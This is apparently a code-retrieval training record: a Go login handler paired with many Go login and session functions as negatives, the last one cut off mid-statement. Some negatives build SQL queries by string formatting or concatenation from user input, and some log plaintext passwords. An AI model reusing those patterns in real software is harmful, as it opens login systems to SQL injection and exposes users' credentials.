func login(ctx context.Context) error { r := ctx.HttpRequest() rw := ctx.HttpResponseWriter() session, _ := core.GetSession(r) email := ctx.PostValue("email") password := ctx.PostValue("password") user, err := db.Login(email, password) if err != nil { msg := struct { Body string `json:"body"` Type string `json:"type"` }{ Body: err.Error(), Type: "alert", } data, err := json.Marshal(msg) if err != nil { log.Error("Unable to marshal: ", err) return goweb.Respond.WithStatus(ctx, http.StatusInternalServerError) } rw.Header().Set("Content-Type", "application/json") return goweb.Respond.With(ctx, http.StatusUnauthorized, data) } session.Values["user"] = user if err = session.Save(r, rw); err != nil { log.Error("Unable to save session: ", err) } userInfo := struct { SessionID string `json:"sessionid"` Id string `json:"id"` Name string `json:"name"` Email string `json:"email"` ApiToken string `json:"apitoken"` }{ SessionID: session.ID, Id: user.Id.Hex(), Name: user.Name, Email: user.Email, ApiToken: user.Person.ApiToken, } data, err := json.Marshal(userInfo) if err != nil { log.Error("Unable to marshal: ", err) return goweb.Respond.WithStatus(ctx, http.StatusInternalServerError) } rw.Header().Set("Content-Type", "application/json") return goweb.Respond.With(ctx, http.StatusOK, data) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (a Authorizer) Login(rw http.ResponseWriter, req *http.Request, u string, p string) error {\n\tsession, err := skyring.Store.Get(req, \"session-key\")\n\tif err != nil {\n\t\tlogger.Get().Error(\"Error Getting the session. error: %v\", err)\n\t\treturn err\n\t}\n\tif !session.IsNew {\n\t\tif session.Values[\"username\"] == u {\n\t\t\tlogger.Get().Info(\"User %s already logged in\", u)\n\t\t\treturn nil\n\t\t} else {\n\t\t\treturn mkerror(\"user \" + session.Values[\"username\"].(string) + \" is already logged in\")\n\t\t}\n\t}\n\terrStrNotAllowed := \"This user is not allowed. Status Disabled\"\n\t// Verify user allowed to user usm with group privilage in the db\n\tif user, err := a.userDao.User(u); err == nil {\n\t\terrStr := fmt.Sprintf(\"Password does not match for user: %s\", u)\n\t\tif user.Status {\n\t\t\tif user.Type == authprovider.External {\n\t\t\t\tif LdapAuth(a, u, p) {\n\t\t\t\t\tlogger.Get().Info(\"Login Success for LDAP\")\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Get().Error(errStr)\n\t\t\t\t\treturn mkerror(errStr)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tverify := bcrypt.CompareHashAndPassword(user.Hash, []byte(p))\n\t\t\t\tif verify != nil {\n\t\t\t\t\tlogger.Get().Error(errStr)\n\t\t\t\t\treturn mkerror(errStr)\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tlogger.Get().Error(errStrNotAllowed)\n\t\t\treturn mkerror(errStrNotAllowed)\n\t\t}\n\t} else {\n\t\tlogger.Get().Error(\"User does not exist: %s\", user)\n\t\treturn mkerror(\"User does not exist\")\n\t}\n\t// Update the new username in session before persisting to DB\n\tsession.Values[\"username\"] = u\n\tif err = session.Save(req, rw); err != nil {\n\t\tlogger.Get().Error(\"Error saving the session for user: %s. error: %v\", u, err)\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func login(w http.ResponseWriter,r *http.Request){\n\tsession,err:=store.Get(r,\"cookie-name\")\n\tif err!=nil{\n\t\tlog.Fatal(err)\n\t}\n\n\t// Where authentication could be done\n\tif r.FormValue(\"code\")!=\"code\"{\n\t\tif r.FormValue(\"code\")==\"\"{\n\t\t\tsession.AddFlash(\"must enter a code\")\n\t\t}\n\t\tsession.AddFlash(\"the code was incorrect\")\n\t\terr:=session.Save(r,w)\n\t\tif err!=nil{\n\t\t\tlog.Fatal(err)\n\t\t}\n\t\thttp.Redirect(w,r,\"/forbiden\",http.StatusFound)\n\t\treturn\n\t}\n\tusername:=r.FormValue(\"username\")\n\tpassword:=r.FormValue(\"password\")\n\tuser:=&user{\n\t\tUserName: username,\n\t\tPassword: password,\n\t\tAuthenticated: true,\n\t}\n\tsession.Values[\"user\"]=user\n\terr=session.Save(r,w)\n\tif err!=nil{\n\t\tlog.Fatal(err)\n\t}\n\thttp.Redirect(w,r,\"/secret\",http.StatusFound)\n}", "func (a Authorizer) Login(rw http.ResponseWriter, req *http.Request, u string, p string) error {\n\tsession, err := skyring.Store.Get(req, \"session-key\")\n\tif err != nil {\n\t\tlogger.Get().Error(\"Error getting the session for user: %s. error: %v\", u, err)\n\t\treturn err\n\t}\n\tif !session.IsNew {\n\t\tif session.Values[\"username\"] == u {\n\t\t\tlogger.Get().Info(\"User: %s already logged in\", u)\n\t\t\treturn nil\n\t\t} else {\n\t\t\treturn mkerror(\"user \" + session.Values[\"username\"].(string) + \" is already logged in\")\n\t\t}\n\t}\n\tif user, err := a.userDao.User(u); err == nil {\n\t\tif user.Type == authprovider.Internal && user.Status {\n\t\t\tverify := bcrypt.CompareHashAndPassword(user.Hash, []byte(p))\n\t\t\tif verify != nil {\n\t\t\t\tlogger.Get().Error(\"Password does not match for user: %s\", u)\n\t\t\t\treturn mkerror(\"password doesn't match\")\n\t\t\t}\n\t\t} else {\n\t\t\tlogger.Get().Error(\"User: %s is not allowed by localauthprovider\", u)\n\t\t\treturn mkerror(\"This user is not allowed by localauthprovider\")\n\t\t}\n\t} else {\n\t\tlogger.Get().Error(\"User: %s not found\", u)\n\t\treturn mkerror(\"user not found\")\n\t}\n\n\t// Update the new username in session before persisting to DB\n\tsession.Values[\"username\"] = u\n\tif err = session.Save(req, rw); err != nil {\n\t\tlogger.Get().Error(\"Error saving the session for user: %s. error: %v\", u, err)\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func (c App) Login(user *models.User) revel.Result {\n user.Validate(c.Validation)\n\n // Handle errors\n if c.Validation.HasErrors() {\n c.Validation.Keep()\n c.FlashParams()\n return c.Redirect(App.Index)\n }\n\n // Storing the user's name in the session\n c.Session[\"userName\"] = user.Name\n c.Session.SetNoExpiration()\n\n // Inform the user about the success on the next page\n c.Flash.Success(\"Welcome, \" + user.Name + \"!\")\n\n return c.Redirect(Todo.Index)\n}", "func login(w http.ResponseWriter, r *http.Request) {\n\tlogRequest(r)\n\n\t// Get a session. Get() always returns a session, even if empty.\n\tsession, err := store.Get(r, \"auth\")\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\tfmt.Println(err)\n\t\treturn\n\t}\n\n\tusername := r.FormValue(\"username\")\n\tpassword := r.FormValue(\"password\")\n\n\tuser := User{}\n\tquery := fmt.Sprintf(\n\t\t`SELECT username, access_level FROM users WHERE username='%s'\n\t\tAND password = crypt('%s', password)`, username, password)\n\tdb.Get(&user, query)\n\n\tif user.Username != \"\" {\n\t\tsession.Values[\"user\"] = user\n\n\t\terr = session.Save(r, w)\n\t\tif err != nil {\n\t\t\tfmt.Println(err)\n\t\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\t\treturn\n\t\t}\n\t\treturn\n\t}\n\n\tw.WriteHeader(http.StatusUnauthorized)\n}", "func login(w http.ResponseWriter, r *http.Request) {\n\n\t// Start the session.\n\tsession := sessions.Start(w, r)\n\tif len(session.GetString(\"username\")) != 0 && checkErr(w, r, err) {\n\t\t// Redirect to index page if the user isn't signed in. Will remove later.\n\t\thttp.Redirect(w, r, \"/\", 302)\n\t}\n\n\tif r.Method != \"POST\" {\n\t\tvar data = map[string]interface{}{\n\t\t\t\"Title\": \"Log In\",\n\t\t}\n\n\t\terr := templates.ExecuteTemplate(w, \"login.html\", data)\n\n\t\tif err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\t}\n\t\treturn\n\t}\n\n\tusername := r.FormValue(\"username\")\n\tpassword := r.FormValue(\"password\")\n\n\tusers := QueryUser(username)\n\n\t// Compare inputted password to the password in the database. If they're the same, return nil.\n\tvar password_compare = bcrypt.CompareHashAndPassword([]byte(users.Password), []byte(password))\n\n\tif password_compare == nil {\n\n\t\tsession := sessions.Start(w, r)\n\t\tsession.Set(\"username\", users.Username)\n\t\tsession.Set(\"user_id\", users.ID)\n\t\thttp.Redirect(w, r, \"/\", 302)\n\n\t} else {\n\n\t\thttp.Redirect(w, r, \"/login\", 302)\n\n\t}\n\n}", "func AuthenticateLoginAttempt(r *http.Request) *sessions.Session {\n\tvar userid string\n\tlog.Println(\"Authenticating Login credentials.\")\n\tattemptEmail := template.HTMLEscapeString(r.Form.Get(\"email\")) //Escape special characters for security.\n\tattemptPassword := template.HTMLEscapeString(r.Form.Get(\"password\")) //Escape special characters for security.\n\tlog.Println(\"Attempt email :\", attemptEmail, \"Attempt Password:\", attemptPassword)\n\trow := databases.GlobalDBM[\"mydb\"].Con.QueryRow(\"SELECT userid FROM user WHERE email = '\" + attemptEmail + \"' AND password = '\" + attemptPassword + \"'\")\n\terr := row.Scan(&userid)\n\tif err != nil { // User does not exist.\n\t\tlog.Println(\"User authentication failed.\")\n\t\treturn &sessions.Session{Status: sessions.DELETED}\n\t}\n\t//User exists.\n\tlog.Println(\"User authentication successful. Creating new Session.\")\n\treturn sessions.GlobalSM[\"usersm\"].SetSession(userid, time.Hour*24*3) // Session lives in DB for 3 days.\n}", "func AuthenticateLoginAttempt(r *http.Request) *sessions.Session {\n\tvar userid string\n\tlog.Println(\"Authenticating Login credentials.\")\n\tattemptEmail := template.HTMLEscapeString(r.Form.Get(\"email\")) //Escape special characters for security.\n\tattemptPassword := template.HTMLEscapeString(r.Form.Get(\"password\")) //Escape special characters for security.\n\tlog.Println(\"Attempt email :\", attemptEmail, \"Attempt Password:\", attemptPassword)\n\trow := databases.GlobalDBM[\"mydb\"].Con.QueryRow(\"SELECT userid FROM user WHERE email = '\" + attemptEmail + \"' AND password = '\" + attemptPassword + \"'\")\n\terr := row.Scan(&userid)\n\tif err != nil { // User does not exist.\n\t\tlog.Println(\"User authentication failed.\")\n\t\treturn &sessions.Session{Status: sessions.DELETED}\n\t}\n\t//User exists.\n\tlog.Println(\"User authentication successful. Creating new Session.\")\n\treturn sessions.GlobalSM[\"usersm\"].SetSession(userid, time.Hour*24*3) // Session lives in DB for 3 days.\n}", "func Login(r *http.Request, username string, password string) (*Session, bool) {\n\tif PreLoginHandler != nil {\n\t\tPreLoginHandler(r, username, password)\n\t}\n\t// Get the user from DB\n\tuser := User{}\n\tGet(&user, \"username = ?\", username)\n\tif user.ID == 0 {\n\t\tIncrementMetric(\"uadmin/security/invalidlogin\")\n\t\tgo func() {\n\t\t\tlog := &Log{}\n\t\t\tif r.Form == nil {\n\t\t\t\tr.ParseForm()\n\t\t\t}\n\t\t\tctx := context.WithValue(r.Context(), CKey(\"login-status\"), \"invalid username\")\n\t\t\tr = r.WithContext(ctx)\n\t\t\tlog.SignIn(username, log.Action.LoginDenied(), r)\n\t\t\tlog.Save()\n\t\t}()\n\t\tincrementInvalidLogins(r)\n\t\treturn nil, false\n\t}\n\ts := user.Login(password, \"\")\n\tif s != nil && s.ID != 0 {\n\t\ts.IP = GetRemoteIP(r)\n\t\ts.Save()\n\t\tif s.Active && (s.ExpiresOn == nil || s.ExpiresOn.After(time.Now())) {\n\t\t\ts.User = user\n\t\t\tif s.User.Active && (s.User.ExpiresOn == nil || s.User.ExpiresOn.After(time.Now())) {\n\t\t\t\tIncrementMetric(\"uadmin/security/validlogin\")\n\t\t\t\t// Store login successful to the user log\n\t\t\t\tgo func() {\n\t\t\t\t\tlog := &Log{}\n\t\t\t\t\tif r.Form == nil {\n\t\t\t\t\t\tr.ParseForm()\n\t\t\t\t\t}\n\t\t\t\t\tlog.SignIn(user.Username, log.Action.LoginSuccessful(), r)\n\t\t\t\t\tlog.Save()\n\t\t\t\t}()\n\t\t\t\treturn s, s.User.OTPRequired\n\t\t\t}\n\t\t}\n\t} else {\n\t\tgo func() {\n\t\t\tlog := &Log{}\n\t\t\tif r.Form == nil {\n\t\t\t\tr.ParseForm()\n\t\t\t}\n\t\t\tctx := context.WithValue(r.Context(), CKey(\"login-status\"), \"invalid password or inactive user\")\n\t\t\tr = r.WithContext(ctx)\n\t\t\tlog.SignIn(username, log.Action.LoginDenied(), r)\n\t\t\tlog.Save()\n\t\t}()\n\t}\n\n\tincrementInvalidLogins(r)\n\n\t// Record metrics\n\tIncrementMetric(\"uadmin/security/invalidlogin\")\n\treturn nil, false\n}", "func loginUser(w http.ResponseWriter, r *http.Request){\n\tsess := globalSessions.SessionStart(w, r)\n\n\tif r.Method != \"POST\" {\n\t\thttp.ServeFile(w,r, \"login.html\")\n\t\treturn\n\t}\n\n\tusername := r.FormValue(\"email\")\n\tpassword := r.FormValue(\"password\")\n\n\n\n\tvar user_id int\n\tvar databaseUserName, databasePassword string\n\n\trow := db.QueryRow(\"SELECT * FROM main_user WHERE user_email = $1 \", username).Scan(&user_id,&databaseUserName, &databasePassword)\n\t//no user found\n\tif row != nil {\n\t\ttempl.ExecuteTemplate(w, \"login\" ,\"No user in db\")\n\t\treturn\n\t}\n\n\t//wrong password\n\tif err := bcrypt.CompareHashAndPassword([]byte(databasePassword), []byte(password)); err != nil {\n\t\t//log.Fatal(\"Error comparing passwords\", err)\n\t\ttempl.ExecuteTemplate(w, \"login\" ,\"Username and password did not match! Please try again\")\n\t\treturn\n\t} else { //Login was sucessful, create session and cookie\n\t\tu1 := user_id\n\t\tsess.Set(\"username\", r.Form[\"email\"])\n\t\tsess.Set(\"UserID\", u1)\n\t\thttp.Redirect(w,r, \"/user\", http.StatusSeeOther)\n\t\t//templ.ExecuteTemplate(w, \"userHome\", \"Welcome \" + databaseUserName)\n\t\treturn\n\t}\n}", "func (sry *Sryun) Login(res http.ResponseWriter, req *http.Request) (*model.User, bool, error) {\n\tusername := req.FormValue(\"username\")\n\tpassword := req.FormValue(\"password\")\n\n\tlog.Infoln(\"got\", username, \"/\", password)\n\n\tif username == sry.User.Login && password == sry.Password {\n\t\treturn sry.User, true, nil\n\t}\n\treturn nil, false, errors.New(\"bad auth\")\n}", "func (h UserRepos) Login(ctx context.Context, w http.ResponseWriter, r *http.Request, params map[string]string) error {\n\n\tctxValues, err := webcontext.ContextValues(ctx)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t//\n\treq := new(UserLoginRequest)\n\tdata := make(map[string]interface{})\n\tf := func() (bool, error) {\n\n\t\tif r.Method == http.MethodPost {\n\t\t\terr := r.ParseForm()\n\t\t\tif err != nil {\n\t\t\t\treturn false, err\n\t\t\t}\n\n\t\t\tdecoder := schema.NewDecoder()\n\t\t\tif err := decoder.Decode(req, r.PostForm); err != nil {\n\t\t\t\treturn false, err\n\t\t\t}\n\n\t\t\treq.Password = strings.Replace(req.Password, \".\", \"\", -1)\n\t\t\tsessionTTL := time.Hour\n\t\t\tif req.RememberMe {\n\t\t\t\tsessionTTL = time.Hour * 36\n\t\t\t}\n\n\t\t\t// Authenticated the user.\n\t\t\ttoken, err := h.AuthRepo.Authenticate(ctx, user_auth.AuthenticateRequest{\n\t\t\t\tEmail: req.Email,\n\t\t\t\tPassword: req.Password,\n\t\t\t}, sessionTTL, ctxValues.Now)\n\t\t\tif err != nil {\n\t\t\t\tswitch errors.Cause(err) {\n\t\t\t\tcase user.ErrForbidden:\n\t\t\t\t\treturn false, web.RespondError(ctx, w, weberror.NewError(ctx, err, http.StatusForbidden))\n\t\t\t\tcase user_auth.ErrAuthenticationFailure:\n\t\t\t\t\tdata[\"error\"] = weberror.NewErrorMessage(ctx, err, http.StatusUnauthorized, \"Invalid username or password. Try again.\")\n\t\t\t\t\treturn false, nil\n\t\t\t\tdefault:\n\t\t\t\t\tif verr, ok := weberror.NewValidationError(ctx, err); ok {\n\t\t\t\t\t\tdata[\"validationErrors\"] = verr.(*weberror.Error)\n\t\t\t\t\t\treturn false, nil\n\t\t\t\t\t} else {\n\t\t\t\t\t\treturn false, err\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Add the token to the users session.\n\t\t\terr = handleSessionToken(ctx, w, r, token)\n\t\t\tif err != nil {\n\t\t\t\treturn false, err\n\t\t\t}\n\n\t\t\tredirectUri := \"/\"\n\t\t\tif qv := r.URL.Query().Get(\"redirect\"); qv != \"\" {\n\t\t\t\tredirectUri, err = url.QueryUnescape(qv)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn false, err\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Redirect the user to the dashboard.\n\t\t\treturn true, web.Redirect(ctx, w, r, redirectUri, http.StatusFound)\n\t\t}\n\n\t\treturn false, nil\n\t}\n\n\tend, err := f()\n\tif err != nil {\n\t\treturn web.RenderError(ctx, w, r, err, h.Renderer, TmplLayoutBase, TmplContentErrorGeneric, web.MIMETextHTMLCharsetUTF8)\n\t} else if end {\n\t\treturn nil\n\t}\n\n\tdata[\"form\"] = req\n\n\tif verr, ok := weberror.NewValidationError(ctx, webcontext.Validator().Struct(UserLoginRequest{})); ok {\n\t\tdata[\"validationDefaults\"] = verr.(*weberror.Error)\n\t}\n\n\treturn h.Renderer.Render(ctx, w, r, TmplLayoutBase, \"user-login.gohtml\", web.MIMETextHTMLCharsetUTF8, http.StatusOK, data)\n}", "func (app *application) login(w http.ResponseWriter, r *http.Request) {\n\tsession, err := app.sessionStore.Get(r, \"session-name\")\n\tif err != nil {\n\t\tapp.serverError(w, err)\n\t\treturn\n\t}\n\terr = r.ParseForm()\n\tif err != nil {\n\t\tapp.clientError(w, http.StatusBadRequest)\n\t\treturn\n\t}\n\tform := forms.New(r.PostForm)\n\tform.Required(\"email\", \"password\")\n\tform.MatchesPattern(\"email\", forms.RxEmail)\n\tif !form.Valid() {\n\t\tapp.render(w, r, \"login.page.tmpl\", &templateData{Form: form})\n\t\treturn\n\t}\n\tvar id int\n\tif form.Get(\"accType\") == \"customer\" {\n\t\tid, err = app.customers.Authenticate(form.Get(\"email\"), form.Get(\"password\"))\n\t\tif err == models.ErrInvalidCredentials {\n\t\t\tform.Errors.Add(\"generic\", \"Email or Password Incorrect. Please ensure you have selected correct account type\")\n\t\t\tapp.render(w, r, \"login.page.tmpl\", &templateData{Form: form})\n\t\t\treturn\n\t\t} else if err != nil {\n\t\t\tapp.serverError(w, err)\n\t\t\treturn\n\t\t}\n\t\tsession.Values[\"customerID\"] = id\n\t\terr = session.Save(r, w)\n\t\tif err != nil {\n\t\t\tapp.serverError(w, err)\n\t\t\treturn\n\t\t}\n\t\thttp.Redirect(w, r, \"/customer/home\", http.StatusSeeOther)\n\t} else {\n\t\tid, err = app.vendors.Authenticate(form.Get(\"email\"), form.Get(\"password\"))\n\t\tif err == models.ErrInvalidCredentials {\n\t\t\tform.Errors.Add(\"generic\", \"Email or Password Incorrect. Please ensure you have selected correct account type\")\n\t\t\tapp.render(w, r, \"login.page.tmpl\", &templateData{Form: form})\n\t\t\treturn\n\t\t} else if err != nil {\n\t\t\tapp.serverError(w, err)\n\t\t\treturn\n\t\t}\n\t\tsession.Values[\"vendorID\"] = id\n\t\terr = session.Save(r, w)\n\t\tif err != nil {\n\t\t\tapp.serverError(w, err)\n\t\t\treturn\n\t\t}\n\t\thttp.Redirect(w, r, \"/vendor/home\", http.StatusSeeOther)\n\t}\n}", "func verifyLogin(req *restful.Request, resp *restful.Response ) bool {\n\tcookie, err := req.Request.Cookie(\"session-id\")\n\tif cookie.Value != \"\" {\n\t\t_, exists := sessions[cookie.Value]\n\t\tif !exists {\n\t\t\thttp.Redirect(resp.ResponseWriter, req.Request, \"/\", 302)\n\t\t\treturn false\n\t\t}\n\t\treturn true\n\t} else if err != nil {\n\t\tfmt.Println(err.Error())\n\t\thttp.Redirect(resp.ResponseWriter, req.Request, \"/\", 302)\n\t\treturn false\n\t} else {\n\t\thttp.Redirect(resp.ResponseWriter, req.Request, \"/\", 302)\n\t\treturn false\n\t}\n}", "func Authenticate(w http.ResponseWriter, request *http.Request, _ httprouter.Params) {\n\terr := request.ParseForm()\n\tif err != nil {\n\t\t// If there is something wrong with the request body, return a 400 status\n\t\tLogger.Println(\"Not able to parse the form!!\")\n\t\t//remove the user ID from the session\n\t\trequest.Header.Del(\"User\")\n\t\thttp.Redirect(w, request, \"/login\", 302)\n\t\treturn\n\t}\n\tLogger.Println(\"LogIn Form Parsed Successfully!!\")\n\n\tvar UP m.User\n\n\terr = m.Users.Find(\"email\", request.Form[\"email\"][0], &UP)\n\tif err != nil {\n\t\tLogger.Printf(\"Not Able to Found a Valid User ID with Email: %v\", request.Form[\"email\"][0])\n\t\t// If there is an issue with the database, return a 500 error\n\t\t//remove the user ID from the session\n\t\trequest.Header.Del(\"User\")\n\t\thttp.Redirect(w, request, \"/register\", 302)\n\t\treturn\n\t}\n\n\tif UP.Email != request.Form[\"email\"][0] {\n\t\tLogger.Println(\"Invalid User Please Register!!\")\n\t\t// If there is an issue with the database, return a 500 error\n\t\t//remove the user ID from the session\n\t\trequest.Header.Del(\"User\")\n\t\thttp.Redirect(w, request, \"/register\", 302)\n\t\treturn\n\t}\n\n\tLogger.Printf(\"Register User with Email %v was Found Successfully\", UP.Email)\n\n\t//check for valid cookie\n\t// _, err = request.Cookie(\"kRtrima\") //Grab the cookie from the header\n\t// if err == http.ErrNoCookie {\n\t// \tLogger.Println(\"No Cookie was Found with Name kRtrima\")\n\t// \t//Check if the user has a valid session id\n\t// \tif m.UP.Salt != \"\" {\n\t// \t\tLogger.Println(\"User already have a valid session!!\")\n\t// \t\t//Delete the old session\n\t// \t\tif _, err := m.Sessions.DeleteItem(m.UP.Session); err != nil {\n\t// \t\t\tLogger.Println(\"Not able to Delete the session!!\")\n\t// \t\t\thttp.Redirect(w, request, \"/login\", 302)\n\t// \t\t\treturn\n\t// \t\t}\n\t// \t\t//session was deleted\n\n\t// \t\t//delete a user struct with session uuid as nil\n\t// \t\tupdate := bson.M{\n\t// \t\t\t\"salt\": \"\",\n\t// \t\t\t\"session\": nil,\n\t// \t\t}\n\n\t// \t\t//remove the user ID from the session\n\t// \t\tif _, err := m.Users.UpdateItem(m.UP.ID, update); err != nil {\n\t// \t\t\tLogger.Println(\"Not able to remove session ID from User!!\")\n\t// \t\t\thttp.Redirect(w, request, \"/login\", 302)\n\t// \t\t\treturn\n\t// \t\t}\n\t// \t\tLogger.Println(\"Session was successfully removed from user!!\")\n\t// \t}\n\t// \t//user dont have a valid session go to next\n\t// } else {\n\t// \tLogger.Println(\"Cookie was Found with Name kRtrima during login\")\n\t// \t// Compare if the user already has a valid session\n\t// \tif m.UP.Salt != \"\" {\n\t// \t\tLogger.Println(\"User already have a valid session!!\")\n\t// \t\t//Another session already active, please logout and relogin\n\t// \t\thttp.Redirect(w, request, \"/Dashboard\", 302)\n\t// \t\treturn\n\t// \t}\n\t// \tLogger.Println(\"User do not have a valid session!!\")\n\t// \t// reset the cookie with new info\n\t// }\n\n\t// Compare the stored hashed password, with the hashed version of the password that was received\n\tif err = bcrypt.CompareHashAndPassword(UP.Hash, []byte(request.Form[\"password\"][0])); err != nil {\n\t\tLogger.Println(\"Password Did Not Matched!!\")\n\t\t// If the two passwords don't match, return a 401 status\n\t\t//remove the user ID from the session\n\t\trequest.Header.Del(\"User\")\n\t\thttp.Redirect(w, request, \"/login\", 302)\n\t\treturn\n\t}\n\n\tLogger.Println(\"Password Matched Successfully\")\n\n\tvar SSL []m.Session\n\t// Find all the session with user salt\n\terr = m.Sessions.FindbyKeyValue(\"salt\", UP.Salt, &SSL)\n\tif err != nil {\n\t\tLogger.Printf(\"Cannot find a Valid Session for User %v\", UP.Name)\n\t\t// http.Redirect(w, request, \"/login\", 302)\n\t}\n\n\tif SSL != nil {\n\t\tfor _, s := range SSL {\n\t\t\t// \t\t//Delete the old session\n\t\t\tif _, err := m.Sessions.DeleteItem(s.ID); err != nil {\n\t\t\t\tLogger.Printf(\"Not able to Delete the session with ID: %v\", s.ID)\n\t\t\t\t//remove the user ID from the session\n\t\t\t\trequest.Header.Del(\"User\")\n\t\t\t\thttp.Redirect(w, request, \"/login\", 302)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}\n\n\t//create a new session\n\t// Create a struct type to handle the session for login\n\tstatement := m.Session{\n\t\tSalt: UP.Salt,\n\t\tCreatedAt: time.Now(),\n\t}\n\n\tSSID, err := m.Sessions.AddItem(statement)\n\tif err != nil {\n\t\tLogger.Printf(\"Cannot Create a Valid Session for User: %v\", UP.Name)\n\t\t//remove the user ID from the session\n\t\trequest.Header.Del(\"User\")\n\t\thttp.Redirect(w, request, \"/login\", 302)\n\t\treturn\n\t}\n\tLogger.Printf(\"New Session Was Created Successfully for User: %v\", UP.Name)\n\n\t// //create a user struct with session uuid\n\t// update := m.User{\n\t// \tSalt: uuid,\n\t// \tSession: ssid,\n\t// }\n\n\t// //add the new session to the user db\n\t// if _, err := m.Users.UpdateItem(m.UP.ID, update); err != nil {\n\t// \tLogger.Println(\"Cannot Insert Session ID to User!!\")\n\t// \thttp.Redirect(w, request, \"/login\", 302)\n\t// \treturn\n\t// }\n\t// Logger.Println(\"Session ID Was Inserted to User!!\")\n\n\t// re := regexp.MustCompile(`\"(.*?)\"`)\n\t// rStr := fmt.Sprintf(`%v`, SSID.Hex())\n\t// rStr1 := re.FindStringSubmatch(rStr)[1]\n\n\t// fmt.Println(SSID.Hex())\n\n\tcookie := http.Cookie{\n\t\tName: \"kRtrima\",\n\t\tValue: SSID.Hex(),\n\t\tHttpOnly: true,\n\t}\n\thttp.SetCookie(w, &cookie)\n\tLogger.Printf(\"Cookie was assigned successfully for User %v\", UP.Name)\n\n\tLogger.Println(\"Authentication SuccessFul\")\n\thttp.Redirect(w, request, \"/Dashboard\", 302)\n\n}", "func loginHandler(w http.ResponseWriter, r *http.Request) {\n\tctx := context.Background()\n\tif b.authenticator == nil {\n\t\tvar err error\n\t\tb.authenticator, err = initAuth(ctx)\n\t\tif err != nil {\n\t\t\tlog.Print(\"loginHandler authenticator could not be initialized\")\n\t\t\thttp.Error(w, \"Server error\", http.StatusInternalServerError)\n\t\t\treturn\n\t\t}\n\t}\n\tsessionInfo := identity.InvalidSession()\n\terr := r.ParseForm()\n\tif err != nil {\n\t\tlog.Printf(\"loginHandler: error parsing form: %v\", err)\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\tusername := r.PostFormValue(\"UserName\")\n\tlog.Printf(\"loginHandler: username = %s\", username)\n\tpassword := r.PostFormValue(\"Password\")\n\tusers, err := b.authenticator.CheckLogin(ctx, username, password)\n\tif err != nil {\n\t\tlog.Printf(\"main.loginHandler checking login, %v\", err)\n\t\thttp.Error(w, \"Error checking login\", http.StatusInternalServerError)\n\t\treturn\n\t}\n\tif len(users) != 1 {\n\t\tlog.Printf(\"loginHandler: user %s not found or password does not match\", username)\n\t} else {\n\t\tcookie, err := r.Cookie(\"session\")\n\t\tif err == nil {\n\t\t\tlog.Printf(\"loginHandler: updating session: %s\", cookie.Value)\n\t\t\tsessionInfo = b.authenticator.UpdateSession(ctx, cookie.Value, users[0], 1)\n\t\t}\n\t\tif (err != nil) || !sessionInfo.Valid {\n\t\t\tsessionid := identity.NewSessionId()\n\t\t\tdomain := config.GetSiteDomain()\n\t\t\tlog.Printf(\"loginHandler: setting new session %s for domain %s\",\n\t\t\t\tsessionid, domain)\n\t\t\tcookie := &http.Cookie{\n\t\t\t\tName: \"session\",\n\t\t\t\tValue: sessionid,\n\t\t\t\tDomain: domain,\n\t\t\t\tPath: \"/\",\n\t\t\t\tMaxAge: 86400 * 30, // One month\n\t\t\t}\n\t\t\thttp.SetCookie(w, cookie)\n\t\t\tsessionInfo = b.authenticator.SaveSession(ctx, sessionid, users[0], 1)\n\t\t}\n\t}\n\tif strings.Contains(r.Header.Get(\"Accept\"), \"application/json\") {\n\t\tsendJSON(w, sessionInfo)\n\t} else {\n\t\tif sessionInfo.Authenticated == 1 {\n\t\t\ttitle := b.webConfig.GetVarWithDefault(\"Title\", defTitle)\n\t\t\tcontent := htmlContent{\n\t\t\t\tTitle: title,\n\t\t\t}\n\t\t\tb.pageDisplayer.DisplayPage(w, \"index.html\", content)\n\t\t} else {\n\t\t\tloginFormHandler(w, r)\n\t\t}\n\t}\n}", "func Login(w http.ResponseWriter, r *http.Request) {\n\n\t//Create Error messages\n\tmessages := make([]string, 0)\n\ttype MultiErrorMessages struct {\n\t\tMessages []string\n\t}\n\n\t// Get Formdata\n\tvar user = model.User{}\n\tusername := r.FormValue(\"username\")\n\tpassword := r.FormValue(\"password\")\n\n\t// Try Authentification\n\tuser, err := model.GetUserByUsername(username)\n\tif err != nil {\n\n\t\t//Add error Message\n\t\tmessages = append(messages, \"Benutzer existiert nicht.\")\n\n\t}\n\n\t//Encode Password to base64 byte array\n\tpasswordDB, _ := base64.StdEncoding.DecodeString(user.Password)\n\terr = bcrypt.CompareHashAndPassword(passwordDB, []byte(password))\n\tif err != nil {\n\n\t\t//Add error Message\n\t\tmessages = append(messages, \"Password falsch.\")\n\n\t}\n\n\t//Check if any Error Message was assembled\n\tif len(messages) != 0 {\n\n\t\tresponseModel := MultiErrorMessages{\n\t\t\tMessages: messages,\n\t\t}\n\n\t\tresponseJSON, err := json.Marshal(responseModel)\n\t\tif err != nil {\n\n\t\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\t\tw.Write([]byte(err.Error()))\n\n\t\t}\n\n\t\tw.Header().Set(\"Content-Type\", \"application/json; charset=UTF-8\")\n\t\tw.WriteHeader(http.StatusConflict)\n\t\tw.Write(responseJSON)\n\t\treturn\n\n\t}\n\n\t//Hash Username\n\tmd5HashInBytes := md5.Sum([]byte(user.Name))\n\tmd5HashedUsername := hex.EncodeToString(md5HashInBytes[:])\n\n\t//Create Session\n\tsession, err := store.Get(r, \"session\")\n\tsession.Values[\"authenticated\"] = true\n\tsession.Values[\"username\"] = username\n\tsession.Values[\"hashedusername\"] = md5HashedUsername\n\tif err != nil 